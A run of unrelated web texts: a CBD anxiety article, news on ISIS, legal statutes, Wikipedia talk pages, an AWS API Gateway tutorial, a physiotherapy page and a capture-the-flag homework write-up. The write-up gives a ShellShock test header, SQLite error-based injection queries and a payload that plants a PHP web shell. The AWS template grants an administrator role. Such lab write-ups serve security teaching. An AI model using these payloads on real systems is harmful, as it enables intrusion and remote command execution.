In another small research study, researchers had patients suffering from Social Anxiety Disorder perform a simulated public speaking test. Individuals reported significantly less anxiety, findings supported by unbiased anxiety indicators like heart rate and high blood pressure.
Researchers concluded,” [CBD] significantly lowered anxiety, cognitive impairment, and pain in their speech performance,” whereas the placebo group experienced “higher anxiety, cognitive disability, [and] discomfort.”.
Last Thoughts.
Evidence from animal research studies have started to characterize the information of how CBD acts in the brain, and human research studies of clients with and without stress and anxiety conditions are starting to validate CBD's effectiveness as an anti-anxiety treatment. Provided the big social and financial expenses of stress and anxiety disorders in the United States, CBD has the potential to play a substantial function in treating a myriad of anxiety-related conditions.
While more research, including big randomized-control trials (RCTs), is plainly warranted to analyze the long-lasting results and possible for CBD, its shown efficacy and highly favorable security profile (especially when compared to currently readily available drugs) make it a practical option or adjunct to presently offered pharmaceuticals.
References
Zlebnik NE, Cheer JF. Beyond the CB1 Receptor: Is Cannabidiol the Answer for Disorders of Motivation?. Annu Rev Neurosci. 2016;39:1-17. PDF
Blessing EM, Steenkamp MM, Manzanares J, Marmar CR. Cannabidiol as a Potential Treatment for Anxiety Disorders. Neurotherapeutics. 2015;12(4):825-36. PDF
Malberg JE, Eisch AJ, Nestler EJ, Duman RS. Chronic antidepressant treatment increases neurogenesis in adult rat hippocampus. J Neurosci. 2000;20(24):9104-10. PDF | ESSENTIALAI-STEM |
DU Expert: ISIS Not Interested In 'Worldwide Terrorism' … Yet « CBS Denver
DENVER (CBS4) – American airstrikes are helping clear a path to freedom for Yazidis, members of a Kurdish religious sect, caught on a mountain in Iraq. The Pentagon now says the siege on Mount Sinjar at the hands of ISIS militants is over. MORE FROM CBSNEWS.COM: U.S. broke ISIS siege of Iraqi refugees, Obama says It's a welcome bit of positive news considering ISIS has quickly swept up territory in a ruthless campaign of violence and fear sweeping across vast swaths of Iraq. ISIS has rapidly gained momentum as it leads its drive for an Islamic state, which makes many curious, just who are they? The group is a mixture really, driven by religious extremism, many already hardened by years of fighting. There are elements of ISIS who are originally from Western Iraq, disaffected Sunnis from Iraq, but there are also many elements from ISIS who are Syrian who have been disaffected in Syria, said former U.S. ambassador to Iraq Christopher Hill, dean of the Josef Korbel School of International Studies at the University of Denver. The best estimates of their numbers were perhaps surprisingly low a force of 6,000. But that was before their successes in Iraq. Many experts now feel they are being joined by others inspired by their success. These are people who have an extremely fundamentalist view of the Koran, said Hill. So automatically they're opposed to Shia rule in Iraq and they're opposed to Shia rule in Syria. They want to see it all part of a greater Sunni stand that they call a caliphate. A caliphate is a Muslim state with a Muslim ruler. The fighters first saw their power consolidate as they joined the fight against the Syrian President Bashar al-Assad. But that civil war has resulted in only limited gains. I think to some extent Iraq was a target of opportunity for them, but they haven't been all that successful in toppling Bashir al Assad, who does have support he has support from Iran and even Russia. Iraqi Kurdish Peshmerga fighters fire at Islamic State (IS) militant positions from the front line in Khazer, near the Kurdish checkpoint of Aski kalak, 40 km West of Arbil, the capital of the autonomous Kurdish region of northern Iraq, on Aug. 14, 2014. US military advisors in Iraq are headed for Mount Sinjar to study means of evacuating civilians who have been trapped there by jihadists, a spokesman for the Kurdish peshmerga forces said Wednesday. (credit: SAFIN HAMED/AFP/Getty Images) The western part of Iraq has long been a toss-up. Ribbons and even chunks of territory have fallen to ISIS, which is believed to be led by the rarely seen Abu Bakr al Baghdadi, however there are questions about whether he's been killed in the fighting. Right now ISIS is not interested in world-wide terrorism, they're interested in conquering territory on the ground in the Middle East. Al-Qaeda was more interested in terrorism than they were in conquering ground. Which may makes ISIS less of a risk to the U.S. right now -– but not later. There remains the possibility that al-Qaeda and ISIS might combine. They certainly are cut from the same cloth, but no there are probably some tribal differences and other differences from al-Qaeda, said Hill. If ISIS is able to establish a state and consolidate power, then exporting terror does become a possibility. Particularly with some of the people who have joined the fight from overseas. Hill finds that very worrisome. They have people already coming from the United States, coming from Europe and sooner or later, those people would go back to those places and commit terrorist acts. Please log in using one of these methods to post your comment: You are commenting using your Google+ account.( Log Out / Change ) You are commenting using your Twitter account.( Log Out / Change ) You are commenting using your Facebook account.( Log Out / Change ) Connecting to %s | NEWS-MULTISOURCE |
Acoustic emission source location using Lamb wave propagation simulation and artificial neural network for I-shaped steel girder
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Acoustic emission (AE) is often used for structural health monitoring (SHM) in the wide field of engineering structures and one of its most beneficial attributes is the ability to localize the damage/crack based on the AE events. The vast majority of ongoing work on AE monitoring focues on geometrically simple structures or a confined area, but the AE source location strategies are rather complicated for real engineering structures. In this paper, an effective method for source localization in realistic structures is presented based on the application of artificial neural networks (ANN), using finite element (FE) simulation results of Lamb waves as the modelling basis. Pencil lead break experiments and related FE simulations on a steel-concrete composite girder are conducted to evaluate the performance of the method. The identification of different wave modes is carried by comparing alternative onset time detection methods. Numerical results are found to be matching closely with the experimental results. To get a reliable ANN model, the validated FE model is used to create a comprehensive database with five different sensor arrangements. It is found that the proposed method is superior to the classical Time of Arrival (TOA) method with the same input data. The results indicate that using trained neural networks based on numerical data is a viable option for AE source location in the case of the I-shaped girder, increasing the likelihood of design and optimization of the AE technique in monitoring realistic structures.
Original languageEnglish
Article number121706
Number of pages17
JournalConstruction and Building Materials
Volume273
DOIs
Publication statusPublished - 2021
Keywords
• Artificial neural network (ANN)
• Composite structures
• Finite element analysis
• Lamb waves
• Source location
• Time of arrival (TOA)
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PUBLIC LAW 107-228—SEPT. 30, 2002 116 STAT. 1361 Reform and Restructuring Act of 1998, and to carry out other authorities in law consistent with such purposes: (1) INTERNATIONAL BROADCASTING OPERATIONS.— (A) IN GENERAL.— For "International Broadcasting Operations", $485,823,000 for the fiscal year 2003. (B) ALLOCATION OF FUNDS. —Of the amount authorized to be appropriated by subparagraph (A) for the fiscal year 2003, there is authorized to be available for Radio Free Asia $35,000,000 for the fiscal year 2003. (2) BROADCASTING CAPITAL IMPROVEMENTS.—For "Broadcasting Capital Improvements", $13,740,000 for the fiscal year 2003. (3) BROADCASTING TO CUBA.— For "Broadcasting to Cuba", $25,923,000 for the fiscal year 2003. (b) CONTINUATION OF ADDITIONAL AUTHORIZATION FOR BROAD- CASTING TO THE PEOPLE'S REPUBLIC OF CHINA AND NEIGHBORING COUNTRIES.— Section 701 of Public Law 106-286 (22 U.S.C. 7001) is amended— (1) in subsection (a) by striking "2001" and inserting "2003"; and (2) in subsection (b)(1), by striking "2001 and 2002" and inserting "2001, 2002, and 2003". (c) ADDITIONAL AUTHORIZATION OF APPROPRIATIONS FOR MIDDLE EAST RADIO NETWORK OF VOICE OF AMERICA. —In addition to such amounts as are made available for the Middle East Radio Network of Voice of America pursuant to the authorization of appropriations under subsection (a), there is authorized to be appropriated $20,000,000 for the fiscal year 2003 for the Middle East Radio Network of Voice of America. TITLE II—DEPARTMENT OF STATE AUTHORITIES AND ACTIVITIES Subtitle A—Basic Authorities and Activities SEC. 201. EMERGENCY EVACUATION SERVICES. Section 4(b)(2)(A) of the State Department Basic Authorities Act of 1956 (22 U.S.C. 2671(b)(2)(A)) is amended to read as follows: "(A) the evacuation when their lives are endangered by war, civil unrest, or natural disaster of— "(i) United States Government employees and their dependents; and "(ii) private United States citizens or third-country nationals, on a reimbursable basis to the maximum extent practicable, with such reimbursements to be credited to the applicable Department of State appropriation and to remain available until expended, except that no reimbursement under this clause shall be paid that is greater than the amount the person evacuated would have been charged for a reasonable commercial air fare immediately prior to the events giving rise to the evacuation;".
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Talk:TPE48
Split or combined article?
Please decide on whether TPE48 and AKB48 Team TP are going to be a combined article or a split one. This depends on whether the roster of the girls is going to be the same or whether they are redoing it from scratch. AngusWOOF ( bark • sniff ) 20:46, 7 August 2018 (UTC)
The name has changed
This article should now bear a disbanded group, and the Team TP as the current one. – Flix11 (talk) 10:05, 17 August 2018 (UTC) | WIKI |
Talk:Lina Inverse/Archive 1
Article created
Well, I've gotten this page started, as before this major character only had a short blurb on the main Slayers page. (Why the heck do the gods of Slayers get their own pages, but no one did one for the MAIN CHARACTER?! o.O) Someone needs to fill in Slayers Next, as I haven't seen a single episode of it. -RannXXV 04:39, 16 December 2005 (UTC)
Deleted Stuff
This has been deleted from the article; it is speculative or talks of Slayers in general {|border="1"
fancrufty stuff
Lina is certainly a notable character in anime in general, and a certain amount of description and history is certainly appropriate, but do we really need details on who she is "shipped" with, etc.? It just makes the article look less serious and more fancrufty. DenisMoskowitz 19:06, 16 December 2005 (UTC)
* It's a pretty standard part of a lot of anime entries on Wikipedia. The consensus is usually that as long as it's made clear that it's a fandom thing, and it helps if it's in its own section, then it's fine. Remember, while it's important to keep things NPOV and all, Wikipedia is not a paper encyclopedia, as per its own rules. It doesn't have to conform to standards for "professional" publishing as long as the information is accurate, presented in a neutral fashion, and considered in some way relevant. As Lina is a high-profile character with a great deal of fanworks surrounding her, including fan art, fanfiction, and all the rest, fan interpretations of her are a valid notation. -RannXXV 20:02, 16 December 2005 (UTC)
Zefilia
In "Slayers the Movie", Lina says that she comes from Zefilia. I wonder if this shuould be included.
Doberdog 23:38, 20 December 2005 (UTC) doberdog
Voice actors
<IP_ADDRESS> 09:50, 22 February 2006 (UTC) Shouldn't there be full voice actor information included on that article? It's there in the Slayers article. I'm just curious if Megumi Hayashibara has been the Japanese voice actor for the whole show (TV + OVA + movies)
* Megumi Hayashibara めぐみ林原 was the Japanese voice actor for the TV, OVA, movies and Video games. Feel free to add the information. Gerard Foley 01:50, 25 February 2006 (UTC)
Relationships Section
Would the Gourry/Lina shippers please cease to turn the relationships section into being all about Gourry and Lina? The section is an outlining of the various views and perceptions people have about her relationships, it is not for pushing one relationship over the others. -RannXXV 19:32, 3 April 2006 (UTC)
* Meh, another reason to nuke that section - having it at all will attract vandalism by partisans of various sorts. That said, I'll leave it alone for now. DenisMoskowitz 02:00, 4 April 2006 (UTC)
* I added it in the first place to flesh out the article, address certain points, and because it seems pretty standard for series where there's any romance factor at all. That said, if people keep POVing it, I'll nuke it myself. -RannXXV 09:35, 4 April 2006 (UTC)
Better screenshot
You want me to change? --HanzoHattori 06:57, 24 May 2007 (UTC)
Guess no, okay. --HanzoHattori 14:59, 31 May 2007 (UTC)
Lina Inverse picture
Request image of Lina Inverse for a profile picture. Thanks. :) KyuuA4 16:39, 4 September 2007 (UTC)
Extremely Ugly Picture
Can we get that poorly lassoed picture changed to either a proper version or change it back to the original picture? I'm surprised no one has edited it back yet. — Preceding unsigned comment added by <IP_ADDRESS> (talk) 19:53, 22 June 2016 (UTC)
Zephilia and relatives
About Zephilia, Hajime Kanzaka stated that there is a queen in Zephilia so that Zephilia is not a village but a country ! In addition to her older sister, Luna, who is the Knight of Ciefied and a waitress, her father is an ex-mercenary (he appears once during the special series and a special story about Gourry)and Kanzaka stated that her mother is an ex-sorceress. And if you wanted to go further, Luna transformed the half werewolf half troll, Dilgear, into her pet. — Preceding unsigned comment added by Liclic (talk • contribs) 15:29, 15 August 2016 (UTC) a {
few mistakes
First, I modified, Zephilia is a country, not a village.
There are several differences between the lore of the novels and the lore of the animation series which are not necessary compatible. When the text says that she is mainly between 15 and 16, it is true but only during the main series (and the animation). It is also mentioned in the novels of the main series. Even though it is not clearly said, because of all the time of the main series, she is probably 17 in the end of the main series of novels. All the adventures with Naga that are narred in the special series, OVA and movies took place before the main series and she is between 13 to 14. I think it would be more accurrate to say that she was from 13 to 16.
I also modified about Gaav (or Garv). Its name in Japanese is "Maryû ô Gaavu" which means Gaav, the king (ô) of the demon (ma) dragons (ryû). I disagree with:"Lina's accomplishments include the destruction of a piece of Shabranigdo and having a hand in the destruction of the demon lords dragon demon lord Gaav and Hellmaster Phibrizzo, as well as defeating Dark Star. Due to these accomplishments, she is increasingly piquing the interest of the Mazoku demon kind and has become a frequent target." The only correct sentence is "due to the destruction of a piece (1/7)of Shabrnigdo, Lina has been a frequent target of the Mazoku demon kind. In the novels, it corresponds to the first one and in the animation of the first 10 episodes. It is the reason of the plot of Hellmaser Phibrizzo (novels 7 and 8 ; last 10 episodes of slayers next) and the presence of Gaav.
Maybe, it may be mentioned that Amelia is the little sister of Naga (Gracia Ul Naga Seyrun).... In addition, there could be an interesting point in the end of slayers next and pages 161 to 165 of the 8th novel of the main series (English Tokyopop version) where the Lord of Nightmare took its center in Lina and, due to that, her hair becomes yellow. — Preceding unsigned comment added by Liclic (talk • contribs) 02:04, 25 February 2017 (UTC) | WIKI |
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Invitation to m:Talk:Universal Code of Conduct/2021 consultations/Discussion
I am interested in hearing the input of Wikiversity users about the application of the Universal Code of Conduct, especially from the perspective of interactions on Wikiversity. Xeno (WMF) (talk) 23:57, 17 April 2021 (UTC)
Line numbering coming soon to all wikis
From April 15, you can enable line numbering in some wikitext editors - for now in the template namespace, coming to more namespaces soon. This will make it easier to detect line breaks and to refer to a particular line in discussions. These numbers will be shown if you enable the syntax highlighting feature (CodeMirror extension), which is supported in the 2010 and 2017 wikitext editors.
More information can be found on this project page. Everyone is invited to test the feature, and to give feedback on this talk page. -- Johanna Strodt (WMDE) 15:08, 12 April 2021 (UTC)
Suggested Values
From April 29, it will be possible to suggest values for parameters in templates. Suggested values can be added to TemplateData and will then be shown as a drop-down list in VisualEditor. This allows template users to quickly select an appropriate value. This way, it prevents potential errors and reduces the effort needed to fill the template with values. It will still be possible to fill in values other than the suggested ones.
More information, including the supported parameter types and how to create suggested values: [1] [2]. Everyone is invited to test the feature, and to give feedback on this talk page.
Timur Vorkul (WMDE) 14:08, 22 April 2021 (UTC)
multiple english wikiversity's?
has there been discussion ever of multiple english Wikimedia Wikiversities? or at least the ability to have multiple public versions of similar resources? don't like how one page of a Wikimedia English Wikiversity is being modified?! Fork it! Maybe this can sort of be done, but I am not certain how acceptable it is here. thanks and cheers. Michael Ten (discuss • contribs) 03:47, 23 April 2021 (UTC)
* The English Wikiversity already supports multiple learning projects on a given subject and multiple subpages with differing perspectives within a given learning project, depending on the learning project and its purpose or target audience. -- Dave Braunschweig (discuss • contribs) 21:34, 23 April 2021 (UTC)
The nigerian constitution
--~pleace I need help. I was requested to review the 1999 nigerian constitution and am finding it difficult.so please can anyone help in reviewing the 1999 nigerian constitution. Email<EMAIL_ADDRESS>(discuss)
* We don't currently have any resources on the Constitution of Nigeria. You might try asking at Wikipedia:Talk:Constitution of Nigeria. -- Dave Braunschweig (discuss • contribs) 21:38, 23 April 2021 (UTC) | WIKI |
Teva Pharma Reports Real-World Data Evaluating Efficacy Of AJOVY - Quick Facts
(RTTNews) - Teva Pharmaceuticals USA, a U.S. affiliate of Teva Pharmaceutical Industries Ltd. (TEVA), reported new data from clinical and real-world analyses examining the efficacy of AJOVY. These include post-hoc phase 3 data examining the long-term response of AJOVY in patients who initially did not respond to treatment, an analysis of real-world treatment patterns for patients prescribed AJOVY, and a retrospective evaluation of quarterly and monthly dosing with AJOVY in a real-world setting.
Denisa Hurtukova, VP, Head of North America Medical Affairs, said: "The data presented at AAN provide valuable insights into the long-term use of AJOVY in both clinical and real-world settings, giving the migraine community valuable information and a broader understanding of the potential efficacy of ongoing treatment."
The views and opinions expressed herein are the views and opinions of the author and do not necessarily reflect those of Nasdaq, Inc. | NEWS-MULTISOURCE |
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ShellShock Writeup
Security Programming Homework 4-1
Problem Description
The ShellShock Tester is the website that have some vulnerabilites. According to the text on the website, the vulnerabilities might not be ShellShock :(
At the bottom of the website it says “The response will be collected into database”. Maybe SQL injection will work! After trying various types of SQL injection in that text input field I realized that I’m in the wrong way…
Look Deeper
The ShellShock Tester must send something to the target website to test if it has bash vulnerability. Using nc to see what are sent from the ShellShock Tester.
nc -l -p 5566
And it turns out to be the following result:
GET / HTTP/1.1
User-Agent: () { :;}; echo 'ShellShockTester_atdog';
Host: 140.113.235.153:5566
Accept: */*
Ah-ha! The string { :;}; echo 'ShellShockTester_atdog'; is a typical method to test if the bash which is currently using is vulnerable to CVE-2014-6271. A system which is vulnerable will echo the string “ShellShockTester_atdog”. Similarly, the target website which runs CGI program will return the string if it is vulnerable. So why don’t we build a fake HTTP server to fool the ShellShock Tester?
Building a simple HTTP server using python module Flask. It returns the string when the ShellShock Tester queried for the index page. It seems that the ShellShock Tester stores the response returned from the target website into its database using insert. At the time the type of the database is still unknown.
So I append a single quote right after the string, and the result showed on the ShellShock Tester is:
DATABASE Msg: unrecognized token: "'ShellShockTester_atdog'')"
Response: ShellShockTester_atdog'
Google for the error message, it says that it seems to be SQLite 3. On the other hand, all error messages will showed means that we can use error-based SQL injection.
Error-based SQL Injection
Most of the error-based SQL injection methods are based on MySQL. But this time, it is SQLite… Fortunately, I found a forum post which talks about SQLite error-based injection, how lucky!
First, create a virtual table:
CREATE VIRTUAL TABLE v1 USING fts3(x);
To know which table and column contain the flag:
SELECT * FROM t1 WHERE t1 MATCH '"'||(SELECT sql FROM sqlite_master);
And finally, the flag showed up:
SELECT * FROM t1 WHERE t1 MATCH '"'||(SELECT flag FROM oyoyoyoy_____1111flag);
The queries listed above should be embedded into the sophisticatedly crafted string. Using Python’s format string will look like this:
trick = 'ShellShockTester_atdog\'); {} --'
inj = 'create virtual table v1 using fts3(x);'
resp = trick.format(inj)
Inject a Backdoor
Another method to pwn the ShellShock Tester is to place a backdoor in the directory of the website.
trick = 'ShellShockTester_atdog\'); {} --'
inj = 'ATTACH \'./lol.php\' AS lol; CREATE TABLE lol.pwn (dataz TEXT); INSERT INTO lol.pwn (dataz) VALUES (\'<pre><?php system($_GET["cmd"]); ?></pre>\');'
resp = trick.format(inj)
This will build a backdoor called lol.php. So anyone can visit that page along with a “GET” argument cmd. The value of cmd could be any shell command. The reason is that ATTACH command will attach a SQLite database. If the database does not exist, it create the database which is a PHP file. The file’s content contains a short piece of PHP code showed above.
Simply visit the page http://tor.atdog.tw:8888/lol.php?cmd=ls, it will list every file in the current directory. And there is the SQLite database! Download it and grab the flag!
Flag
The flag is:
SecProg{SQL1teInject1on_yoooo}
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Western Paradise, Belize
Western Paradise is a settlement in the Belize District of Belize in Central America. According to the 2010 census, Western Paradise had a population of 1,258 people in 348 households.
History
In 2010 Western Pines, Sunset Park and Mile 8 Community were incorporated under one name, Western Paradise.
Location and geographic setting
Western Paradise is located on mile 8 of the George Price Highway. In 2020 the John Smith Road was constructed heading north through the village. | WIKI |
Mastering API Gateway With One Weird Trick
So, I set out on a journey to create an API Gateway to Service integration for all 105 services listed in the API Gateway Console. After doing about 8 services I cracked the rosetta stone of API Gateway and here I'll show you how you can think about the way the services are called via their RESTful API to give a more consistent experience across services. One of the key insights from my previous post was that the aws cli somehow "knew" to add the x-amz-json-1.1 Content-Type header to the request. After doing some digging, with a lot of help from Ben K., we discovered how the cli "knew" this. This link in the botocore data directory shows where this data is loaded from.
This got me thinking about the differences between DynamoDB and Athena integration so I fired up the cli again to see how it interacts with DynamoDB
This is really interesting because the API Gateway integration uses the pattern of applying the QueryString parameter "?Action=ListTables" and doesn't include the headers. From the looks of this, we might be able to apply the same technique header-based technique to every service. This way we don't have to worry about which services support ?Actions=[....] query strings and which services don't. Let's walk through a concrete example to make this a bit easier to digest. I'm going to pick a service at random and try to duplicate this with a cloudformation template.
import glob
import random
import logging
logger = logging.getLogger()
logger.setLevel(logging.INFO)
sh = logging.StreamHandler()
logger.addHandler(sh)
def main():
services = glob.glob('./data/*/*/service-2.json')
logger.debug("found {} service files".format(len(services)))
print(random.choice(services))
if __name__ == "__main__":
main()
Running this gives us ...... *drumroll* .........
Cool. Let's see what we can do with Route53.
Crap. it's not using json at all. No worries though, because we're about to learn the trick. There's only about 4 protocols I've seen so far ['json', 'query', and 'rest-xml'] but I'm sure there's more hiding in there somewhere. This metadata tells us almost everything we need to know. Since there is no field called "targetPrefix" we know that we won't have to add the x-amz-target or application/x-amz-json-1.x headers. Let's try a list command with no parameters to see if we can get the connectivity working, then we'll add some parameters. Let's take a closer look at the ListHostedZones operation.
This tells us the path we want to use '/2014-04-01/hostedzone' and what HTTP method to use in the Integration Request (Note that this can be and often is different from the Method Request in API Gateway). The object also tells us what the input should look like. In this case, we're sending a get request so we don't have to worry about a request body and none of the parameters are required so we can ignore them for now. Here's the template we are going to deploy. I've bolded the parts where we deviate from a standard API Gateway service integration template.
AWSTemplateFormatVersion: '2010-09-09'
Transform: AWS::Serverless-2016-10-31
Description: >
Route53 Integration
Resources:
Route53API:
Type: AWS::ApiGateway::RestApi
Properties:
Name: "Route53 API"
RootResource:
Type: AWS::ApiGateway::Resource
Properties:
ParentId: !GetAtt Route53API.RootResourceId
PathPart: "zones"
RestApiId: !Ref Route53API
ListHostedZonesMethod:
Type: AWS::ApiGateway::Method
DependsOn:
- RootResource
Properties:
HttpMethod: GET
ResourceId: !Ref RootResource
RestApiId: !Ref Route53API
AuthorizationType: AWS_IAM
MethodResponses:
- ResponseParameters:
method.response.header.Access-Control-Allow-Origin: true
StatusCode: 200
Integration:
Type: AWS
IntegrationHttpMethod: GET
Credentials:
Fn::GetAtt:
- AdminRole
- Arn
Uri: !Sub "arn:aws:apigateway:${AWS::Region}:route53:path/2013-04-01/hostedzone"
IntegrationResponses:
- StatusCode: 200
AdminRole:
Type: "AWS::IAM::Role"
Properties:
AssumeRolePolicyDocument:
Version: "2012-10-17"
Statement:
- Effect: "Allow"
Principal:
Service:
- "apigateway.amazonaws.com"
Action:
- "sts:AssumeRole"
Path: "/"
ManagedPolicyArns:
- arn:aws:iam::aws:policy/AdministratorAccess
Let's deploy this and see what happens.
Cool, but I might be lying to you or API Gateway might be lying to you, so we should verify this by implementing some kind of mutating request so we can verify it. Since we have a ListHostedZones, let's look at the CreateHostedZone operation.
Repeating what we did last time, we need to make note of the method, requestUri, and now the input shape.
This tells us that "Name" and "CallerReference" are the only required fields (note: some services don't include a "required" field and instead add the word "Required" to the beginning of the documentation). The CallerReference is an interesting field. Its purpose is so that you can make the same request many times and be sure that the creation is idempotent, which is great if you encounter errors and want to ensure that requesting an item twice doesn't create two identical items. Here's the new API gateway Cloudformation template, with the important parts bolded. Notice that we map the application/json content-type that we expect from our clients to the text/xml that route53 expects based on the metadata["protocol"] entry in the service-2.json file linked above.
CreateHostedZonesMethod:
Type: AWS::ApiGateway::Method
DependsOn:
- RootResource
Properties:
HttpMethod: POST
ResourceId: !Ref RootResource
RestApiId: !Ref Route53API
AuthorizationType: AWS_IAM
MethodResponses:
- ResponseParameters:
method.response.header.Access-Control-Allow-Origin: true
StatusCode: 200
Integration:
Type: AWS
IntegrationHttpMethod: POST
RequestParameters:
integration.request.header.Content-Type: "'text/xml'"
Credentials:
Fn::GetAtt:
- AdminRole
- Arn
Uri: !Sub "arn:aws:apigateway:${AWS::Region}:route53:path/2013-04-01/hostedzone"
RequestTemplates:
application/json: |
<CreateHostedZoneRequest xmlns="https://route53.amazonaws.com/doc/2013-04-01/">
<Name>$input.params('zoneName').</Name>
<CallerReference>$input.params('user-provided-request-id')</CallerReference>
</CreateHostedZoneRequest>
IntegrationResponses:
- StatusCode: 200
We see that this takes the "zoneName" and "user-provided-request-id" querystring parameters and maps them into the xml of the request. Sending this request with the querystring "zoneName=RichardBoydIsCool.com&user-provided-request-id=19640112" looks like a success
Awesome. Now let's try the "ListHostedZones" that we created earlier and make sure our new HostedZone shows up.
Great!!!! Now we know how to integrate with any service that API Gateway advertises. Stay tuned next week for another post that will make this even easier ;) | ESSENTIALAI-STEM |
Cyclovariegatin
Cyclovariegatin is a pigment. Its chemical name is 1,4-dihydro-2,7,8-trihydroxy-3-(3,4-dihydroxyphenyl)-l,4-dioxodibenzofuran. It is distinguishable by its UV-Vis spectra with maxima at 257, 296, and 430 nm. The variants cyclovariegatin-pentaacetate, cyclovariegatin-2,3',8-triacetate, and cyclovariegatin-2-acetate have also been described. It is derived from atromentin. It has been isolated from the browned skin of Suillus grevillei var. badius, and becomes the pigment thelephoric acid. | WIKI |
Page:United States Statutes at Large Volume 96 Part 1.djvu/1140
96 STAT. 1098
PUBLIC LAW 97-259—SEPT. 13, 1982 EFFECTIVE DATE OF CERTAIN COMMISSION ORDERS
SEC. 123. Section 408 of the Communications Act of 1934 (47 U.S.C. 408) is amended by striking out "within such reasonable time" and all that follows through the end thereof and inserting in lieu thereof the following: "thirty calendar days from the date upon which public notice of the order is given, unless the Commission designates a different effective date. All such orders shall continue in force for the period of time specified in the order or until the Commission or a court of competent jurisdiction issues a superseding order.". APPLICATION OF FORFEITURE REQUIREMENTS TO CABLE TELEVISION SYSTEM OPERATORS
SEC. 124. The second sentence of section 503(b)(5) of the Communications Act of 1934 (47 U.S.C. 503a)X5)) is amended by inserting ", or is a cable television system operator" before the period at the end thereof. FORFEITURE OF COMMUNICATIONS DEVICES
SEC. 125. Title V of the Communications Act of 1934 (47 U.S.C. 501 et seq.) is amended by adding at the end thereof the following new section: "FORFEITURE OF COMMUNICATIONS DEVICES
47 USC 510.
"SEC. 510. (a) Any electronic, electromagnetic, radio frequency, or similar device, or component thereof, used, sent, carried, manufactured, assembled, possessed, offered for sale, sold, or advertised with 47 USC 301, 302. willful and knowing intent to violate section 301 or 302, or rules prescribed by the Commission under such sections, may be seized and forfeited to the United States. "(b) Any property subject to forfeiture to the United States under this section may be seized by the Attorney General of the United States upon process issued pursuant to the supplemental rules for certain admiralty and maritime claims by any district court of the United States having jurisdiction over the property, except that seizure without such process may be made if the seizure is incident to a lawful arrest or search. "(c) All provisions of law relating to— "(1) the seizure, summary and judicial forfeiture, and condemnation of property for violation of the customs laws; "(2) the disposition of such property or the proceeds from the sale thereof; "(3) the remission or mitigation of such forfeitures; and "(4) the compromise of claims with respect to such forfeitures; shall apply to seizures and forfeitures incurred, or alleged to have been incurred, under the provisions of this section, insofar as applicable and not inconsistent with the provisions of this section, except that such seizures and forfeitures shall be limited to the communications device, devices, or components thereof. "(d) Whenever property is forfeited under this section, the Attorney General of the United States may forward it to the Commission or sell any forfeited property which is not harmful to the public. The proceeds from any such sale shall be deposited in the general fund of the Treasury of the United States.".
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VIBGYOR
VIBGYOR (Violet–Indigo–Blue–Green–Yellow–Orange–Red) is a popular mnemonic device used for memorizing the traditional optical spectrum.
VIBGYOR may refer to:
* ROYGBIV, the exact reverse of VIBGYOR; the sequence of hues commonly ascribed to the rainbow colors
* ViBGYOR Film Festival
* VIBGYOR Group of Schools | WIKI |
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Concordant phylogeography and cryptic speciation in two Western Palaearctic oak gall parasitoid species complexes
Authors
James A. Nicholls, Fax: +44 131 6506564; E-mail: james.nicholls@ed.ac.uk
Abstract
Little is known about the evolutionary history of most complex multi-trophic insect communities. Widespread species from different trophic levels might evolve in parallel, showing similar spatial patterns and either congruent temporal patterns (Contemporary Host-tracking) or later divergence in higher trophic levels (Delayed Host-tracking). Alternatively, host shifts by natural enemies among communities centred on different host resources could disrupt any common community phylogeographic pattern. We examined these alternative models using two Megastigmus parasitoid morphospecies associated with oak cynipid galls sampled throughout their Western Palaearctic distributions. Based on existing host cynipid data, a parallel evolution model predicts that eastern regions of the Western Palaearctic should contain ancestral populations with range expansions across Europe about 1.6 million years ago and deeper species-level divergence at both 8–9 and 4–5 million years ago. Sequence data from mitochondrial cytochrome b and multiple nuclear genes showed similar phylogenetic patterns and revealed cryptic genetic species within both morphospecies, indicating greater diversity in these communities than previously thought. Phylogeographic divergence was apparent in most cryptic species between relatively stable, diverse, putatively ancestral populations in Asia Minor and the Middle East, and genetically depauperate, rapidly expanding populations in Europe, paralleling patterns in host gallwasp species. Mitochondrial and nuclear data also suggested that Europe may have been colonized multiple times from eastern source populations since the late Miocene. Temporal patterns of lineage divergence were congruent within and across trophic levels, supporting the Contemporary Host-tracking Hypothesis for community evolution.
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“But I’ve never even played tennis!”
This is a common phrase we hear as physiotherapists. So, let’s talk about the truth behind tennis elbow – what is it? How did I get it? And most importantly, how do I get rid of it?
What is Tennis Elbow?
Lateral epicondylalgia more commonly known as tennis elbow, is a painful condition of the elbow caused by repetitive actions of the forearm extensor muscles. Overuse of these muscles results in degeneration of the tendons at their bony insertion rather than inflammation (remember, tendons are tough, ropey structures that attach muscle to bone!).
What are the Symptoms of Tennis Elbow?
The most common complaints of tennis elbow are pain and tenderness on the outside of the elbow with gripping, pushing, pulling and lifting. Additionally, elbow pain can sometimes be associated with the neck and shoulder. In these cases, pain may be caused by dysfunction with the nerves that travel from the neck down your arm. It’s important to have a health care professional conduct a thorough assessment to determine the source of your pain to develop an effective treatment plan.
How is Tennis Elbow Treated?
Management of tennis elbow can vary based on the cause, duration of symptoms, irritability and individual goals!
Your physiotherapist may choose a variety of effective techniques including soft tissue release to improve tension in the forearm muscles, mobilization of the elbow joint or acupuncture. Additionally, your therapist will provide education regarding proper ergonomics, initial avoidance of pain provoking movements and when it may be appropriate to reintroduce these activities.
Exercise is the last critical piece to rehabilitating a tennis elbow.
Here are some of the best exercises to help with a tennis elbow:
1. Strengthening – Eccentric forearm strengthening is potentially the superior form of strengthening in the case of a tennis elbow. This type of exercise has an emphasis on the lowering phase of the movement. In some cases, beginning with isometric strengthening may be beneficial. This type of exercise focuses on strengthening without moving your limb.
2. Self-mobilizations of the elbow joint
3. Soft-tissue release – Reducing tension in the forearm muscle may help to relieve pressure off the tendons involved in a tennis elbow. This can be done using a tennis or lacrosse ball, or a static forearm stretch.
Your physiotherapist will work with you to select appropriate exercises, and ensure you perform these exercises properly and effectively.
How Long Does it Take to Recover from Tennis Elbow?
Tendon injuries can be persistent and difficult to manage without early, active intervention. It is best to have your injury assessed within the first few weeks of symptom onset without sufficient improvement. A typical tennis elbow takes approximately 6-8 weeks to fully heal. However, if your symptoms are stemming from a variety of factors, and without appropriate treatment, recovery can take much longer.
If you are experiencing elbow pain, please don’t hesitate to contact us at Aurora Sports Medicine Professionals to book an appointment with one of our registered physiotherapists. We’re here to help! | ESSENTIALAI-STEM |
Sanders warns against outside intervention in Venezuela, stops short of calling Maduro a 'dictator'
